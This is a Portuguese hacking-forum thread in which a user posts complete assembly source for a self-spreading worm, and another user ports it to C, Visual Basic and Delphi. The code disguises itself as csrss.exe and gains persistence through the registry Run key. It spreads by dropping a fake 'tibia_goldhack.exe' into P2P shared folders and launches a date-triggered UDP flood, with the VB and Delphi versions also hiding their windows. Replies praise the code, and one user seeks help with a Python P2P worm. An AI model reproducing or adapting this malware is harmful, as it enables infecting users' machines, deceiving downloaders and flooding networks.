[Source] Praga Digital - Assembly, C, Delphi e VB

Started by Dark_Side, 28 de July , 2006, 12:59:12 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Dark_Side

Hi,
estou aprendendo a programar em assembly e gostaria de compartilhar com vocês meu primeiro programa.
Algumas características:

* Se autocopia
* Cria chave no registro para inicializar automaticamente
* Se espalha em redes P2P, usando o fake "tibia_goldhack.exe"
* Faz um UDPFLOOD no dia 10/08/2006

; Coded By Dark_Side
.486p                                  ; Código de 32 bits
.model flat, stdcall                    ; Modelo de memória 32 bits
option casemap :none                    ; Case Sensitive

; BIBLIOTECAS e LIBS
 
include \masm32\include\windows.inc
include \masm32\include\masm32.inc     
include \masm32\include\gdi32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
include \masm32\include\wsock32.inc

includelib \masm32\lib\masm32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\wsock32.lib
;****************************************

;PROTOTIPOS, dizem ao compilador para passar valores

p2p_copy PROTO: DWORD
flood PROTO: DWORD
;*********************************************

; Variáveis não inicializadas
.data?
wsadata WSADATA <>
sock SOCKET ?
sin sockaddr_in <>
local_dir db 256 dup(?)
programas_dir db 256 dup(?)
buffer db 256 dup(?)
chave PHKEY ?
;***********************************

;Variáveis inicializadas
.data
nome_arquivo db "csrss.exe",0 ; Nome do arquivo a ser copiado para o registro.
caminho_arquivo db "C:\Windows\csrss.exe",0 ; Caminho para o qual o arquivo se copiará

;Chaves do registro
chave_primaria db "SOFTWARE\Microsoft\Windows\CurrentVersion",0
chave_autostart db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
valor_programas db "ProgramFilesDir",0 ; Valor que armazena a pasta que contém os programas instalados

tam DWORD 256
string_format db "%s",0

alvo db "255.255.255.255",0 ;IP da vítima

flood_msg db "$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$",0 ; BUFFER DO FLOOD

; O arquivo se auto copia, para os seguintes caminhos:

dir1 db "\appleJuice\incoming\tibia_goldhack.exe",0
dir2 db "\BearShare\Shared\tibia_goldhack.exe",0
dir3 db "\Edonkey2000\Incoming\tibia_goldhack.exe",0
dir4 db "\Gnucleus\Downloads\tibia_goldhack.exe",0
dir5 db "\Grokster\My Grokster\tibia_goldhack.exe",0
dir6 db "\ICQ\shared files\tibia_goldhack.exe",0
dir7 db "\KaZaA\My Shared Folder\tibia_goldhack.exe",0
dir8 db "\KaZaA Lite\My Shared Folder\tibia_goldhack.exe",0
dir9 db "\LimeWire\Shared\tibia_goldhack.exe",0
dir10  db "\Morpheus\My Shared Folder\tibia_goldhack.exe",0
dir11 db "\Overnet\incoming\tibia_goldhack.exe",0
dir12 db "\Rapigator\Share\tibia_goldhack.exe",0
dir13 db "\Shareaza\Downloads\tibia_goldhack.exe",0
dir14 db "\Swaptor\Download\tibia_goldhack.exe",0
dir15 db "\Tesla\Files\tibia_goldhack.exe",0
dir16 db "\WinMX\My Shared Folder\tibia_goldhack.exe",0
dir17 db "\XoloX\Downloads\tibia_goldhack.exe",0

mydownloads_dir db "C:\My Downloads\tibia_goldhack.exe",0
mysharedfiles_dir db "C:\My Shared Files\tibia_goldhack.exe",0
 
; Array contendo os diretórios
array DWORD dir1,dir2,dir3,dir4,dir5,dir6,dir7,dir8,dir9,dir10,dir11,dir12,dir13,dir14,dir15,dir16,dir17
;****************************
.code ; Início do código
start:
; Chama por funções
call copiar
call registro
call p2p_gogo
call udpflood
;*****************************
copiar proc
invoke GetModuleFileName,0,ADDR local_dir,256 ; Obtém o caminho do arquivo quando executado
invoke CopyFile,addr local_dir,addr caminho_arquivo,0 ; Faz uma cópia deste, para "C:\WINDOWS\CSRSS.EXE"
ret ; FIM da função
copiar endp
;*******************************

registro proc

; Obtém o valor ProgramFilesDir, que armazena a pasta dos arquivos de programas, e armazena em 'programas_dir'
invoke RegOpenKey,HKEY_LOCAL_MACHINE,addr chave_primaria,addr chave
invoke RegQueryValueEx,chave,addr valor_programas,0,0,addr programas_dir,addr tam
invoke RegCloseKey,chave

; Adiciona um valor na chave RUN do registro, para que o programa inicie automaticamente.
invoke RegOpenKey,HKEY_LOCAL_MACHINE,addr chave_autostart,addr chave
invoke RegSetValueEx,chave,addr nome_arquivo,0,REG_SZ,addr caminho_arquivo,sizeof caminho_arquivo
invoke RegCloseKey,chave

ret 
registro endp
;*******************************************
p2p_gogo proc
invoke lstrcat,addr programas_dir,addr string_format ; Une à pasta dos arquivos de programas, o formatador de string "%s"

; Empura os dados na stack
push ebx
push esi

mov esi,17 ; Atribui à ESI, o número de elementos na array.
xor ebx,ebx ; Zera ebx(frame pointer)
go: ; Label
invoke RtlZeroMemory,addr buffer,100h ; Limpa o buffer
mov eax,array[ebx*4] ; Move para EAX, o item atual da array
invoke wsprintf,addr buffer,addr programas_dir,eax ; Escreve na variável buffer, a pasta dos arquivos de programas, e o item da array.
invoke p2p_copy,addr buffer ; Passa o valor do buffer para a função
inc ebx ; Adiciona 1 em EBX
dec esi ; Subtrai 1 em ESI
jnz go ; Enquanto ESI não for 0, o que indica o fim do índice da array, volta para o label GO

; Retira dados da stack
pop esi
pop ebx

; Passa valores de outros diretórios
invoke p2p_copy,addr mydownloads_dir
invoke p2p_copy,addr mysharedfiles_dir
ret 
p2p_gogo endp
;******************************

p2p_copy proc diretorio:DWORD ; diretorio = valor passado à função
invoke CopyFile,addr local_dir,diretorio,0 ; Copia o programa para o diretório passado
ret
p2p_copy endp
;************************
udpflood proc   ; Função UDPFLOOD
LOCAL tempo:SYSTEMTIME ; Declara variável local -> Systemtime (struct)
invoke GetLocalTime,addr tempo ; Obtém valores locais de data/hora
cmp tempo.wDay,10 ; Compara se o dia é 10
je dia_ok ; Se sim, pula para dia_ok
jne over ; Se não, pula para over
dia_ok: 
cmp tempo.wMonth,8 ; Compara se o mês é 8 (Agosto)
je mes_ok ; se sim, pula para mes_ok
jne over
mes_ok:  ;Caso seja 10/8, inicia o flood.
invoke flood,addr alvo ; Passa o IP contido na variável alvo
over:
ret
udpflood endp

;**************************
flood proc vitima:DWORD
invoke WSAStartup,101h,addr wsadata ; Inicializa data
invoke socket,AF_INET,SOCK_DGRAM,0 ; Cria socket UDP
mov sock,eax
mov sin.sin_family,AF_INET ; Atribui família
invoke htons,999 ; Porta
mov sin.sin_port,ax
invoke inet_addr,vitima ; IP do alvo
mov sin.sin_addr,eax
push esi
mov esi,999999 ; Configura 999999 pacotes.
go2:
invoke sendto,sock,addr flood_msg,sizeof flood_msg,0,addr sin,sizeof sin ; Envia pacote
dec esi ; Subtrai 1 de ESI
jnz go2 ; Enquanto ESI não for 0, volta para GO2

invoke closesocket,sock ; Após o flood, fecha o socket
invoke WSACleanup ; Finaliza o uso do socket
ret
flood endp
end start

Programa compilado com o MASM32:
http://website.assemblercode.com/masm32/m32v9r.zip

Em breve posto a versão do programa em 3 linguagens alternativas:
C/C++, Visual Basic e DELPHI.

Bye.

Kratos

100 Palavras D_S..


Mas tipo, estou fazendo um .. pode sse dizer... "wormP2P" em Python... só para teste ( Ah Tá O.o ), e ja tenho as funções que ira executar... mas ta complicado na Hora de obter os ficheiros de compartilhamento no Registro... sera que vc pode me explicar o a logica disso...

Eu preciso saber também se a busca no registro é padrão em todos os programas P2P é padrão... pois o Kaaza e o E-Mule são parecidos (eu ja vi) .. mas preciso saber se é igual para o Lime-Ware..


Por Favor !!!

Se não entendeu minha duvida .. só postar , vlw
::: "A vida é bela pra quem sabe curtir" :::





_Dr4k0_

Como o Dark_Side não atualizou eu vou atualizar aqui pra ele.. nas verções em C,Delphi e VB..
Os créditos são todos para ele claro.
#include <stdio.h> // Entrada e saída padronizados
#include <windows.h> //Header do windows
#include <winsock.h> //Header do winsock
//Variáveis
WSADATA data;
SOCKET sock;
SOCKADDR_IN sockin;
char local_dir[256],programas_dir[256],buffer[256];
char *array[17]; // Declara uma array de string
char flood_msg[32]="$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"; //Buffer do flood
DWORD tam=256;
HKEY chave;
SYSTEMTIME tempo; // Struct
int i,x;

void copiar(), registro(),p2p_gogo(),p2p_copy(char * diretorio),udpflood(),flood(); //Funções

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevHinstance,LPSTR lpCmdLine,int nShowCmd){
//Chama funções
copiar();
registro();
p2p_gogo();
udpflood();
return 0;
}

void copiar()
{
GetModuleFileName(NULL,local_dir,256); //Obtém caminho do arquivo quando executado
CopyFile(local_dir,"C:\\WINDOWS\\CSRSS.EXE",0); //Faz cópia na pasta Windows.
}


void registro()
{
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion",&chave); //Abre chave CurrentVersion
RegQueryValueEx(chave,(LPSTR)"ProgramFilesDir",0,0,programas_dir,&tam); // Obtém o valor da chave 'ProgramFilesDir', que armazena o local dos arquivos de programas.
RegCloseKey(chave); // Fecha a chave

RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&chave); //Abre a chave RUN, para autostart.
RegSetValueEx(chave,(LPSTR)"CSRSS.EXE",0,REG_SZ,(LPSTR)"C:\\WINDOWS\\CSRSS.EXE",20); //Adiciona o valor
RegCloseKey(chave); //Fecha a chave
}

void p2p_gogo()
{
// Define items da array
array[0] =  "\\appleJuice\\incoming\\tibia_goldhack.exe";
array[1] = "\\BearShare\\Shared\\tibia_goldhack.exe";
array[2] = "\\Edonkey0000\\Incoming\\tibia_goldhack.exe";
array[3] = "\\Gnucleus\\Downloads\\tibia_goldhack.exe";
array[4] = "\\Grokster\\My Grokster\\tibia_goldhack.exe";
array[5] = "\\ICQ\\shared files\\tibia_goldhack.exe";
array[6] = "\\KaZaA\\My Shared Folder\\tibia_goldhack.exe";
array[7] = "\\KaZaA Lite\\My Shared Folder\\tibia_goldhack.exe";
array[8] = "\\LimeWire\\Shared\\tibia_goldhack.exe";
array[9] = "\\Morpheus\\My Shared Folder\\tibia_goldhack.exe";
array[10] = "\\Overnet\\incoming\\tibia_goldhack.exe";
array[11] = "\\Rapigator\\Share\\tibia_goldhack.exe";
array[12] = "\\Shareaza\\Downloads\\tibia_goldhack.exe";
array[13] = "\\Swaptor\\Download\\tibia_goldhack.exe";
array[14] = "\\Tesla\\Files\\tibia_goldhack.exe";
array[15] = "\\WinMX\\My Shared Folder\\tibia_goldhack.exe";
array[16] = "\\XoloX\\Downloads\\tibia_goldhack.exe";

for(i=0;i<17;i++){ // Percorre todos os índices da array
ZeroMemory(buffer,0x100); //Limpa o buffer
sprintf(buffer,"%s%s",programas_dir,array[i]); // Une o local dos arquivos de programas, ao item atual da array.
p2p_copy(buffer); //Passa valor
MessageBox(0,array[i],0,0);
}
//Passa o valor de outros diretórios
p2p_copy("C:\\My Downloads\\tibia_goldhack.exe");
p2p_copy("C:\\My Shared Files\\tibia_goldhack.exe");
}

void p2p_copy(char *diretorio) //diretorio = armazena caminho completo
{
CopyFile(local_dir,diretorio,0); //Faz uma cópia no diretório passdo
}

void udpflood()
{
GetLocalTime(&tempo); //Obtém informações sobre data/hora
if(tempo. wDay == 10 && tempo.wMonth==8) //Se o dia for 10, e o mês 8, portanto 10/08
flood(); //Chama pela função flood
}

void flood(){
WSAStartup(MAKEWORD(1,1),&data); //Inicializa socket
sock = socket(AF_INET,SOCK_DGRAM,0); //Cria socket UDP
sockin.sin_family = AF_INET; //Família do socket
sockin.sin_port = htons(999); //Ajusta porta
sockin.sin_addr.s_addr = inet_addr("127.0.0.1"); //IP da vítima
x = 0; //Zera o valor de X
while(x <= 999999) //Enquanto X for menor ou igual a 999999
{
sendto(sock,flood_msg,32,0,(SOCKADDR*)&sockin,sizeof(sockin)); //Envia pacote UDP
x++; //Incrementa X
}
closesocket(sock); // Fecha o socket após o loop
WSACleanup(); //Finaliza winsock.
    }
100% Livre!!!Livre para escolher o que há de melhor no Windows e Linux. Livre de preconceito direto ou inverso!
Adote essa filosofia e tenha mais chance de sucesso profissional.

_Dr4k0_

VB:

'Funções da API
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

'Constantes do registro
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1

'Variáveis
Dim arquivo As String
Dim chave As Long
Dim buffer_reg As String * 256
Dim programas_dir As String
Dim dirs As Variant
Dim i As Integer
Dim x As Double
Dim buffer As String

Private Sub Form_Initialize()
Me.Visible = False 'Oculta form
End Sub

Private Sub Form_Load()
App.TaskVisible = False 'Oculta no gerenciador de tarafeas
Call copiar
Call registro
Call p2p_gogo
Call udpflood
End Sub

Function copiar()
On Error Resume Next ' Caso ocorra algum erro, o programa executa a próxima instrução
arquivo = App.Path & "\" & App.EXEName & ".exe" 'Obtém caminho do arquivo quando executado
FileCopy arquivo, "C:\WINDOWS\CSRSS.EXE" 'Faz cópia no diretório do WINDOWS
End Function

Function registro()
RegOpenKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion", chave 'Abre chave
RegQueryValueEx chave, ByVal "ProgramFilesDir", 0, 0, ByVal buffer_reg, 256 'Obtém o valor de "ProgramFilesDir", que contém o local dos arquivos de programas
RegCloseKey chave 'Fecha a chave

'Atribui à variável programas_dir, o valor de buffer_reg, retirando no caractere NULO.
programas_dir = buffer_reg
programas_dir = Mid(programas_dir, 1, InStr(1, programas_dir, vbNullChar) - 1)

RegOpenKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", chave 'Abre a chave RUN, para autorstart
RegSetValueEx chave, ByVal "CSRSS.EXE", 0, REG_SZ, ByVal "C:\WINDOWS\CSRSS.EXE", 20 'Adiciona o valor
RegCloseKey chave 'Fecha a chave
End Function

Function p2p_gogo()
dirs = Array("", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "") 'Cria uma array de 17 items
'Define itens da array
dirs(0) = "\appleJuice\incoming\tibia_goldhack.exe"
dirs(1) = "\BearShare\Shared\tibia_goldhack.exe"
dirs(2) = "\Edonkey0000\Incoming\tibia_goldhack.exe"
dirs(3) = "\Gnucleus\Downloads\tibia_goldhack.exe"
dirs(4) = "\Grokster\My Grokster\tibia_goldhack.exe"
dirs(5) = "\ICQ\shared files\tibia_goldhack.exe"
dirs(6) = "\KaZaA\My Shared Folder\tibia_goldhack.exe"
dirs(7) = "\KaZaA Lite\My Shared Folder\tibia_goldhack.exe"
dirs(8) = "\LimeWire\Shared\tibia_goldhack.exe"
dirs(9) = "\Morpheus\My Shared Folder\tibia_goldhack.exe"
dirs(10) = "\Overnet\incoming\tibia_goldhack.exe"
dirs(11) = "\Rapigator\Share\tibia_goldhack.exe"
dirs(12) = "\Shareaza\Downloads\tibia_goldhack.exe"
dirs(13) = "\Swaptor\Download\tibia_goldhack.exe"
dirs(14) = "\Tesla\Files\tibia_goldhack.exe"
dirs(15) = "\WinMX\My Shared Folder\tibia_goldhack.exe"
dirs(16) = "\XoloX\Downloads\tibia_goldhack.exe"

'Retorna a string sem o caractere NULO.
For i = 0 To 16 'Percorre todos os índices da array
buffer = programas_dir & dirs(i) 'Une o local dos arquivos de programas, ao item atual da array
p2p_copy (buffer) 'Passa valor
Next
End Function

Function p2p_copy(ByVal diretorio As String)
'diretorio = valor passado
On Error Resume Next
FileCopy arquivo, diretorio 'Faz cópia do arquivo no diretórío passado
End Function

Function udpflood()
if date = "10/8/2006" then call flood(); 'Verifica se é 10/08/2006, caso sim, chama pela função flood.
End Function
Function flood()
On Error Resume Next
sock.Protocol = sckUDPProtocol 'Define um socket TCP
sock.RemoteHost = "255.255.255.255" 'Define a vítima
sock.RemotePort = 999  'Define a porta
x = 0
While x <= 999999 'Enquanto X for menor ou igual a 999999
DoEvents 'Deixa o sistema executar outras tarefas
sock.SendData "$$$$$$$$$$$$$$$$$$$$$$$$$$$$" 'Envia pacote
x = x + 1 'Incrementa X
Wend
End Function


E Delphi:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,Registry, Sockets;

type
  TForm1 = class(TForm)
    sock: TUdpSocket;
    procedure FormCreate(Sender: TObject);
  private

  public

  end;

var
  Form1: TForm1;
//Funções e variáveis globais
   local_dir:string;
   programas_dir : string;
   function copiar(): integer;
   function registro(): integer;
   function p2p_gogo(): integer;
   function p2p_copy(diretorio: string):integer;
   function udpflood():integer;
   function flood():integer;
   implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
//Oculta form
application.ShowMainForm:=false;
form1.Visible:=false;

//Chama funções
copiar();
registro();
p2p_gogo();
udpflood();
ExitProcess(0); //Encerra
end;

function copiar(): integer;
begin
local_dir := application.ExeName; // Obtém caminho do arquivo quando executado.
CopyFile(PAnsiChar(local_dir),PAnsiChar('C:\WINDOWS\csrss.exe'),false); //Faz cópia do arquivo na pasta WINDOWS.
result:=0; //Valor de retorno
end;

function registro(): integer;
var
reg : TRegistry; //Variável

begin
reg:= TRegistry.Create(KEY_READ);  //Define o modo de leitura
reg.RootKey:=HKEY_LOCAL_MACHINE; //Chave principal
try
reg.OpenKey('SoftWare\Microsoft\Windows\CurrentVersion\',false); //Abre a chave CurrentVersion
programas_dir := reg.ReadString('ProgramFilesDir'); //Obtém o valor de "ProgramFilesDir", que contém o local dos arquivos de programas.
finally
reg.free(); //Libera o registro

reg:= TRegistry.Create(KEY_WRITE); //Define o modo de escrita
reg.RootKey:=HKEY_LOCAL_MACHINE;
try
reg.OpenKey('SoftWare\Microsoft\Windows\CurrentVersion\Run',true); //Abre a chave RUN, para autorstart
reg.WriteString('csrss.exe','C:\WINDOWS\csrss.exe'); //Adiciona o valor
finally
reg.free(); //Libera o registro
Result:=0;
end;
end;
end;

function p2p_gogo(): integer;
var
dirs: array[0..16] of string; //Define uma array de string, com 17 items
i: integer;
buffer: string;
begin

//Define items da array
dirs[0] := '\appleJuice\incoming\tibia_goldhack.exe';
dirs[1] := '\BearShare\Shared\tibia_goldhack.exe';
dirs[2] := '\Edonkey0000\Incoming\tibia_goldhack.exe';
dirs[3] := '\Gnucleus\Downloads\tibia_goldhack.exe';
dirs[4] := '\Grokster\My Grokster\tibia_goldhack.exe';
dirs[5] := '\ICQ\shared files\tibia_goldhack.exe';
dirs[6] := '\KaZaA\My Shared Folder\tibia_goldhack.exe';
dirs[7] := '\KaZaA Lite\My Shared Folder\tibia_goldhack.exe';
dirs[8] := '\LimeWire\Shared\tibia_goldhack.exe';
dirs[9] := '\Morpheus\My Shared Folder\tibia_goldhack.exe';
dirs[10] := '\Overnet\incoming\tibia_goldhack.exe';
dirs[11] := '\Rapigator\Share\tibia_goldhack.exe';
dirs[12] := '\Shareaza\Downloads\tibia_goldhack.exe';
dirs[13] := '\Swaptor\Download\tibia_goldhack.exe';
dirs[14] := '\Tesla\Files\tibia_goldhack.exe';
dirs[15] := '\WinMX\My Shared Folder\tibia_goldhack.exe';
dirs[16] := '\XoloX\Downloads\tibia_goldhack.exe';

for i:=0 to 16 do //Percorre todos os items da array
begin
buffer := programas_dir + dirs[i]; //Une o local dos arquivos de programas, ao item atual da array
p2p_copy(buffer); //Passa o valor
end;
Result :=0;
end;

function p2p_copy(diretorio: string):integer;
//diretorio = valor passado
begin
CopyFile(PAnsiChar(local_dir),PAnsiChar(diretorio),false);  //Faz cópia do arquivo no diretórío passado
Result:=0;
end;

function udpflood():integer;
begin
if datetostr(date) = '10/8/2006' then flood(); //Verifica se é 10/08/2006, caso sim, chama pela função flood.
end;

function flood():integer;
var
flood_msg: string;
x:integer;
begin
flood_msg := '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'; //Buffer do flood
form1.sock.BlockMode:=bmNonBlocking; //Define socket non-Blocking
form1.sock.RemoteHost:='255.255.255.255'; //Alvo
form1.sock.RemotePort:='999'; //Port
form1.sock.Open(); //Abre o socket
for x:=1 to 999999 do //Percorre de 1 até 999999, ou seja, 999999 pacotes
begin
form1.sock.Sendln(flood_msg); //Envia pacote
end;
form1.sock.Close(); //Fecha socket.
end;
end.
100% Livre!!!Livre para escolher o que há de melhor no Windows e Linux. Livre de preconceito direto ou inverso!
Adote essa filosofia e tenha mais chance de sucesso profissional.

rodweb


Mental_Way

Concerteza esse material é muito util, principalmente para aqueles que estão aprendendo novas linguagens....

Muito Bom Dark_Side e _Dr4k0_.....

By Mental_Way
[RitualistaS GrouP]

"Aquele que sabe pouco rapidamente revela isto."

Sladrak

Putz muito bom!!

Vlw ae dark_side!!

Mesmo com o exemplo ae ainda nao sei como se faz xD
mas da pra entender!

Vlw